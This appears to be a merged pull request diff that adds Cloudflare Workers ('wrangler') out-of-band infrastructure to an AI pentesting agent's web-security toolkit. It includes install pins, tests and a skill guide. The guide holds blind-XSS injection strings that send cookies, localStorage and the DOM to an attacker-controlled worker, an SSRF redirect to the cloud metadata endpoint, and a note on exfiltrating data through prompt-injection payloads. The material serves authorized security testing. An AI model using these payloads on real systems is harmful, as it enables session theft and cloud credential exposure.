Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions capabilities/web-security/agents/web-security.md
Original file line number Diff line number Diff line change
Expand Up @@ -102,6 +102,7 @@ Any tool that scans, fuzzes, or floods runs on shared local hardware. Cap concur
- Use `store_credential` and `get_credential` to preserve auth state for the current session instead of manually re-entering secrets or tokens. When the credential was operator-sourced, also persist the auth *flow* to project memory (see **Authentication Context** above). Also supports TOTP/MFA via `add_totp_credential` and `generate_mfa_code`.
- Use `assess_confidence` before claiming a vulnerability so your report is grounded in demonstrated evidence rather than a lead or hypothesis.
- Use `get_callback_url` and `check_callbacks` for out-of-band testing (blind SSRF, blind XSS, DNS exfiltration). webhook.site is the primary provider and now paywalls token creation — set `WEBHOOK_SITE_API_KEY` (env var or `.env`) to authenticate with a paid account; the tool reuses the account's existing token when the Basic-tier one-token cap is hit, and falls back to interactsh when no key is available.
- Use the `wrangler_*` tools (`wrangler_status`, `wrangler_deploy`, `wrangler_tail`, `wrangler_list`, `wrangler_delete`) only when OOB testing needs attacker-controlled infrastructure beyond a passive callback URL — serving a blind XSS payload, a custom response body, or a 302 redirector for SSRF chains. Requires `CLOUDFLARE_API_TOKEN` and `CLOUDFLARE_ACCOUNT_ID` env vars (`CF_API_TOKEN` / `CF_ACCOUNT_ID` aliases accepted). Load the `wrangler-oast` skill for the full workflow. When a plain detection callback is enough, prefer `get_callback_url` — it needs no credentials. Always delete deployed workers (`wrangler_list` + `wrangler_delete`) when testing completes.
- Use `list_free_phone_numbers` and `read_phone_inbox` when signup or MFA flows require SMS verification, unless prompted by the user. Free public numbers first — fall back to `request_private_number`/`poll_private_number` (paid API, needs key via `store_credential`) only when the target blocks public numbers.
- Use `generate_rebinding_hostname` and `list_rebinding_presets` for DNS rebinding SSRF bypass when IP filters validate resolved addresses before fetching.
- Use the `agentmail_*` tools (`agentmail_list_inboxes`, `agentmail_create_inbox`, `agentmail_list_messages`, `agentmail_get_message`, `agentmail_send_message`, `agentmail_reply_message`) to work with AgentMail email inboxes when a real, agent-owned email address is useful — for example signup, recovery, or email-verification flows. Requires an AgentMail API key via the `AGENTMAIL_API_KEY` environment variable or the `api_key` argument. Available only when the key is configured.
Expand Down
12 changes: 10 additions & 2 deletions capabilities/web-security/capability.yaml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
schema: 1
name: web-security
version: "1.14.0"
version: "1.15.0"
description: >
Web application penetration testing with 83 attack technique playbooks
covering HTTP desync/request smuggling, cache poisoning, SSRF, SSTI, DOM
Expand All @@ -9,7 +9,10 @@ description: >
Includes geo-distributed DNS resolution via in-region open resolvers
(Shodan/Censys) for detecting geo-fenced infrastructure,
HTTP client tooling with OOB callbacks via webhook.site
(API-key aware) and interactsh, four coexisting Caido surfaces
(API-key aware) and interactsh, Cloudflare Workers deployment
via wrangler for custom OAST endpoints (blind XSS payload
hosting, configurable callback receivers, SSRF redirect
servers), four coexisting Caido surfaces
(caido-cli server, the Python caido-sdk-client, lightweight and
full-surface MCP servers, and the caido-mode TypeScript SDK CLI on
@caido/sdk-client / caido-ts) for curl-through-Caido
Expand Down Expand Up @@ -199,6 +202,8 @@ checks:
command: command -v exiftool
- name: ast-grep
command: command -v ast-grep
- name: wrangler
command: command -v wrangler
- name: jxscout
command: command -v jxscout-pro-v2

Expand Down Expand Up @@ -251,6 +256,9 @@ keywords:
- ast-grep
- interactsh
- oob-callbacks
- wrangler
- cloudflare-workers
- oast
- securitycontext
- geo-dns
- geo-fencing
Expand Down
12 changes: 11 additions & 1 deletion capabilities/web-security/docker/Dockerfile.runtime
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@
# - agent-browser (headless Chromium for DOM interaction)
# - kiterunner (API-aware content discovery)
# - surf (SSRF target identification)
# - wrangler (Cloudflare Workers CLI for custom OAST endpoints)
# - pacu (AWS exploitation framework)
# - ast-grep (AST-based code pattern search via tree-sitter)
#
Expand Down Expand Up @@ -120,10 +121,19 @@ RUN go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@late
RUN go install rsc.io/2fa@latest

# ── agent-browser ───────────────────────────────────────────────────
RUN npm install -g agent-browser \
# Pinned to match scripts/install_tools.sh (AGENT_BROWSER_VERSION).
ARG AGENT_BROWSER_VERSION=0.35.1
RUN npm install -g agent-browser@${AGENT_BROWSER_VERSION} \
&& agent-browser install || true
ENV CHROME_PATH="/usr/bin/chromium"

# ── wrangler (Cloudflare Workers CLI for custom OAST endpoints) ─────
# Deploy/tail/delete Workers used as OAST callback endpoints. Auth at
# runtime via CLOUDFLARE_API_TOKEN / CLOUDFLARE_ACCOUNT_ID (CF_* aliases
# accepted by the wrangler toolset).
ARG WRANGLER_VERSION=4.127.0
RUN npm install -g wrangler@${WRANGLER_VERSION}

# ── tsx (for the caido-mode skill's TypeScript SDK CLI) ─────────────
# The caido-mode skill (skills/caido-mode) is mounted at runtime and its
# node_modules are installed by scripts/install_tools.sh at provision time.
Expand Down
17 changes: 16 additions & 1 deletion capabilities/web-security/scripts/install_tools.sh
Original file line number Diff line number Diff line change
Expand Up @@ -244,8 +244,11 @@ if ! command -v node &>/dev/null; then
&& as_root apt-get install -y --no-install-recommends nodejs \
|| echo "WARN: Node.js install failed, skipping"
fi
# agent-browser pinned to the current latest — an unpinned install resolves
# to a different tool on different days, which no SBOM can describe.
AGENT_BROWSER_VERSION="0.35.1"
if ! have agent-browser; then
as_root npm install -g agent-browser \
as_root npm install -g "agent-browser@${AGENT_BROWSER_VERSION}" \
|| echo "WARN: agent-browser install failed, skipping"
fi
# `agent-browser install` downloads the browser binaries themselves. Guarded on
Expand All @@ -271,6 +274,18 @@ if [ -f "$CAIDO_MODE_DIR/package.json" ] && [ ! -d "$CAIDO_MODE_DIR/node_modules
|| echo "WARN: caido-mode npm install failed, skipping"
fi

# -- wrangler (Cloudflare Workers CLI for OAST endpoints) ------------------
# Deploys Cloudflare Workers as custom OAST endpoints (blind XSS payload
# hosting, configurable callback receivers, SSRF redirectors) — see the
# wrangler toolset and the wrangler-oast skill. Auth is runtime-only via
# CLOUDFLARE_API_TOKEN / CLOUDFLARE_ACCOUNT_ID (CF_* aliases accepted).
# Pinned: an unpinned npm install re-resolves against the registry even when
# the binary is already present, which a sealed deployment must never do.
WRANGLER_VERSION="4.127.0"
have wrangler || \
as_root npm install -g "wrangler@${WRANGLER_VERSION}" \
|| echo "WARN: wrangler install failed, skipping"

# -- ast-grep (AST-based code pattern search) ---------------------------------
# Tree-sitter based structural code matching for JS/TS/HTML. Lightweight
# alternative to semgrep for pattern matching (no taint analysis).
Expand Down
2 changes: 2 additions & 0 deletions capabilities/web-security/skills/blind-ssrf-chains/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,8 @@ You have blind SSRF. You can hit internal IPs but get no response body. The prog

When SSRF is confirmed but you need attacker-controlled infrastructure to complete the chain (claim a dangling bucket, serve redirects, host custom content for a parser), do not guess or auto-provision. Detect what cloud/hosting CLIs are on the shell (`which aws az gcloud fly netlify wrangler docker ngrok`), present the available options and what the situation requires, then use AskUserQuestion for approval and credential guidance. Do not block other testing while waiting.

For the redirector and custom-content cases specifically, the built-in `wrangler_*` tools (see the `wrangler-oast` skill) deploy Cloudflare Workers as 302 redirectors or content servers when `CLOUDFLARE_API_TOKEN` / `CLOUDFLARE_ACCOUNT_ID` are set — the same approval gate applies.

**Trigger signals:**
- Server response contains `NoSuchBucket`, `BlobNotFound`, or similar dangling cloud resource error — claim the resource name, upload payload
- SSRF follows redirects but you need a reliable controlled redirector (httpbin.org rate-limits) — deploy a minimal 302 server
Expand Down
117 changes: 117 additions & 0 deletions capabilities/web-security/skills/wrangler-oast/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,117 @@
---
name: wrangler-oast
description: "Deploy Cloudflare Workers as custom OAST endpoints for blind XSS payload hosting, configurable callback receivers, and SSRF redirect servers. Use when you need attacker-controlled infrastructure beyond what interactsh/webhook.site provides — custom response bodies, JS payload serving, or 302 redirect chains. Requires CLOUDFLARE_API_TOKEN and CLOUDFLARE_ACCOUNT_ID (CF_API_TOKEN / CF_ACCOUNT_ID aliases accepted). Triggers on 'blind XSS', 'custom callback server', 'OAST worker', 'serve a payload', 'redirect server', 'wrangler'."
---

# Wrangler OAST — Cloudflare Workers for Out-of-Band Testing

Deploy Cloudflare Workers as custom OAST (Out-of-Band Application Security Testing) endpoints. This complements interactsh and webhook.site by giving you **programmable** callback infrastructure at the edge.

**Activation gate:** Only use this skill when `CLOUDFLARE_API_TOKEN` and `CLOUDFLARE_ACCOUNT_ID` are set in the environment (the `CF_API_TOKEN` / `CF_ACCOUNT_ID` aliases also work). If unset, do not suggest wrangler — fall back to `get_callback_url` (webhook.site / interactsh), which needs no credentials. Do not ask the user to enable it; state the requirement once if a technique genuinely needs a custom endpoint and move on.

## When to Use This vs. Interactsh

| Need | Tool |
|---|---|
| Detect whether a target makes an outbound request | interactsh / `get_callback_url` |
| Serve a **custom JavaScript payload** (blind XSS) | `wrangler_deploy` with `blind-xss` template |
| Serve a **custom HTTP response** (content-type, headers, body) | `wrangler_deploy` with `custom` template |
| **302 redirect** an SSRF to a different target | `wrangler_deploy` with `redirect` template |
| Log **full request details** with custom processing | `wrangler_deploy` with `callback` template |

## Prerequisites

1. `CLOUDFLARE_API_TOKEN` — create at https://dash.cloudflare.com/profile/api-tokens with **Workers Scripts Edit** permission
2. `CLOUDFLARE_ACCOUNT_ID` — found in the Cloudflare dashboard sidebar

Call `wrangler_status` to verify both are set and the token is valid before deploying.

## Workflow

### 1. Check Auth

```
wrangler_status
```

If auth fails, the user needs to set the env vars. Do not proceed without valid auth.

### 2. Deploy a Worker

**OAST Callback** — logs every incoming request with full headers, body, and metadata:
```
wrangler_deploy(template="callback")
```

**Blind XSS Probe** — serves a JS payload at the root URL that exfiltrates page data (cookies, DOM, localStorage) back to `/collect` on the same worker:
```
wrangler_deploy(template="blind-xss")
```

Then inject the worker URL as a script source: `<script src="https://dn-oast-xxx.workers.dev"></script>`

**SSRF Redirect** — 302 redirects all requests to a target (e.g., cloud metadata):
```
wrangler_deploy(template="redirect", redirect_target="http://169.254.169.254/latest/meta-data/")
```

**Custom Worker** — deploy arbitrary JavaScript:
```
wrangler_deploy(template="custom", worker_code='export default { fetch() { return new Response("<html>custom</html>", { headers: { "Content-Type": "text/html" } }); } };')
```

### 3. Monitor Interactions

After injecting the worker URL into the target, check for incoming requests:
```
wrangler_tail(name="dn-oast-xxx", seconds=15)
```

`wrangler_tail` captures both `console.log()` output from template workers (structured JSON with method, URL, headers, body) and raw request events (method + URL) for custom workers that never call console.log.

### 4. Clean Up

**Cleanup is mandatory.** Always delete workers after testing:
```
wrangler_delete(name="dn-oast-xxx")
```

Use `wrangler_list` to find all deployed workers. Workers created by this toolset use the `dn-oast-` prefix. Log what you created in the gadget ledger, and tear it down before the engagement ends.

## Template Details

### callback
Logs every request as structured JSON. Responds with `200 OK` and `Access-Control-Allow-Origin: *` to maximize compatibility with CORS-restricted contexts.

Logged fields: `timestamp`, `method`, `url`, `path`, `headers`, `body`, `cf` (Cloudflare request metadata including geolocation).

### blind-xss
Two-endpoint worker:
- **`/`** — serves a JavaScript probe that collects `document.cookie`, `location.href`, DOM (first 8KB), `localStorage`, `origin`, and `referrer`, then POSTs the data as JSON to `/collect`
- **`/collect`** — receives and logs the exfiltrated data (CORS preflight handled)

Inject as: `"><script src=https://WORKER.workers.dev></script>` or `javascript:void(document.body.appendChild(document.createElement('script')).src='https://WORKER.workers.dev')`

### redirect
Returns `302` redirecting to a configurable target URL (defaults to AWS metadata endpoint). The redirect is returned to the *client* — the worker itself never fetches the target, so internal/private addresses work when the SSRF victim follows redirects. Useful for:
- SSRF filter bypass (server allows `*.workers.dev` but blocks internal IPs)
- Protocol downgrade (HTTPS worker redirects to HTTP internal target)
- Chained exploitation (redirect to internal service URLs)

The `redirect_target` must be a full URL including scheme (`http://` or `https://`).

## Combining with Other Tools

- **With interactsh**: Deploy a worker for payload hosting, use interactsh for reliable OOB detection. Best of both worlds.
- **With CallbackClient**: If you only need detection (not custom responses), `get_callback_url` is simpler and requires no Cloudflare credentials.
- **With blind SSRF chains**: Deploy a redirect worker to chain SSRF through Workers edge → internal target. See the `blind-ssrf-chains` skill.
- **With data exfiltration**: Deploy a callback worker as the exfil endpoint for prompt injection or XSS payloads.

## Important Notes

- Workers deploy to Cloudflare's global edge network. Latency is consistently low.
- Free Cloudflare plans allow 100,000 requests/day — more than enough for testing.
- Workers get a `*.workers.dev` subdomain automatically. No custom domain needed.
- `wrangler_tail` connects to the real-time log stream for a bounded window (max 60s per call). Call it repeatedly for longer monitoring.
- Nothing is persisted locally; auth is read from the environment on every call. The tool never runs `wrangler login`.
- Always clean up deployed workers after testing. Use `wrangler_list` + `wrangler_delete`.
32 changes: 31 additions & 1 deletion capabilities/web-security/tests/test_install_tools_offline.py
Original file line number Diff line number Diff line change
Expand Up @@ -56,11 +56,24 @@ def test_every_go_install_is_guarded(self) -> None:

def test_global_npm_install_is_guarded(self) -> None:
for i, line in enumerate(LINES):
if re.search(r"^\s*npm install -g", line):
if re.search(r"^\s*(as_root\s+)?npm install -g", line):
assert "have " in _preceding_context(
i
), f"unguarded global npm install at line {i + 1}: {line.strip()}"

def test_npm_installs_are_version_pinned(self) -> None:
# Same SBOM argument as the go pins: an unpinned `npm install -g`
# re-resolves against the registry on every boot even when the binary
# is present, and installs a different tool on different days.
unpinned = [
line.strip()
for line in LINES
if re.search(r"^\s*(as_root\s+)?npm install -g", line)
and not re.search(r"@\$?\{?[A-Za-z0-9_.-]+\}?", line.split("-g", 1)[-1])
and not line.strip().startswith("#")
]
assert not unpinned, f"unpinned npm installs: {unpinned}"

def test_py_install_calls_are_guarded(self) -> None:
# Every `py_install` call must be preceded by a `have` check so that
# already-installed Python tools do not re-resolve against PyPI.
Expand Down Expand Up @@ -109,6 +122,22 @@ def test_kiterunner_build_is_guarded(self) -> None:
idx = next(i for i, line in enumerate(LINES) if "assetnote/kiterunner" in line)
assert "have kr" in _preceding_context(idx, span=4)

def test_wrangler_install_is_guarded_and_pinned(self) -> None:
# wrangler is fetched from npm, so the guard-and-pin discipline applies
# exactly as it does to the go installs: present binary -> no registry
# request; absent binary -> the pinned version, not @latest.
idx = next(
i for i, line in enumerate(LINES) if "wrangler@${WRANGLER_VERSION}" in line
)
assert "have wrangler" in _preceding_context(idx, span=6)
pin = next(
i for i, line in enumerate(LINES) if line.startswith("WRANGLER_VERSION=")
)
assert re.fullmatch(
r"WRANGLER_VERSION=\"[0-9]+\.[0-9]+\.[0-9]+\"",
LINES[pin].strip(),
), f"unpinned wrangler version: {LINES[pin]}"

def test_git_clones_are_guarded_on_target_dir(self) -> None:
# Clones to persistent paths (fireprox, archivealchemist) are guarded
# on the target directory existing. Clones to /tmp (kiterunner) are
Expand Down Expand Up @@ -208,6 +237,7 @@ def test_optional_vendor_downloads_do_not_abort_the_run(self) -> None:
"WARN: waymore install failed",
"WARN: pacu install failed",
"WARN: agent-browser install failed",
"WARN: wrangler install failed",
"WARN: caido-mode npm install failed",
):
assert marker in INSTALL_SCRIPT, f"missing non-fatal fallback: {marker}"
Loading
Loading